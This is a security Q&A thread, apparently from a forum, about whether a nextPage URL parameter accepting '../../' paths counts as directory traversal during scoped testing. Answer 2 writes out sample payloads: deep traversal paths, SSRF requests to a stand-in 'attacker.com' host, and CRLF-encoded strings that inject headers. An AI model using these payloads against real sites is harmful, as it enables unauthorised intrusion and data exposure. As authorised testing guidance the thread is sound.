Is this considered directory traversal?

Question

So I'm currently testing a site that has a url like this

example.com/dir1/dir2?nextPage=/someOtherDir/someHTMLfile.html

I found that I can do to get to the home page

example.com/dir1/dir2?nextPage=../../

or I can read files like the CSS for another page

example.com/dir1/dir2?nextPage=../../dir3/dir4/css/main.css

NOTE: The company's policy states that a researcher can only go to the minimal amount of testing required to prove that a vulnerability, so I don't want to try accessing the passwd file or any other sensitive file that isn't already public. I also tried example.com/dir1/dir2?nextPage=google.com but it seems to check if the URL is local so that doesn't work. Would what I found be considered directory traversal?

Answer 1

It looks like a directory traversal. To prove whether it is really exploitable I would try to open something more interesting like a script file which is not public available. Otherwise you can't be sure that an attacker can really do something interesting. In my opinion that would be in line with minimal testing. Maybe there is a filter which allows only opening .html and .css files.

Answer 2

It's path traversal, but path traversal isn't a vulnerability.

You can check the next attack vectors when you have a path traversal:

Directory enumeration:

If ../../dir3/dir4/css/main.css is true,
../../dir3/../dir3/dir4/css/main.css is true and
../../QWERTYUIOP/../dir3/dir4/css/main.css is false,
it's a directory enumeration.

Arbitrary File Read:

It's like a arbitrary file read but you can check system paths:

example.com/dir1/dir2?nextPage=../../../../../../../../sys/power/wakeup_count

The file will return an integer. It isn't /etc/passwd, wakeup_count isn't critical information.

Server Side Request Forgery:

If you want to check networks attack, you need to use URI. Just domain name doesn't work.

example.com/dir1/dir2?nextPage=http://attacker.com/

If you think what someHTMLfile.html is network resource, you can test its vectors:

example.com/dir1/dir2?nextPage=username:password@attacker.com/
example.com/dir1/dir2?nextPage=%20HTTP/1.1%0A%0DTest:%20
example.com/dir1/dir2?nextPage=%20HTTP/1.1%E5%98%8A%E5%98%8DTest:%20

Local File Inclusion:

You don't check LFI vulnerability without active attack on the server :( I' m sorry.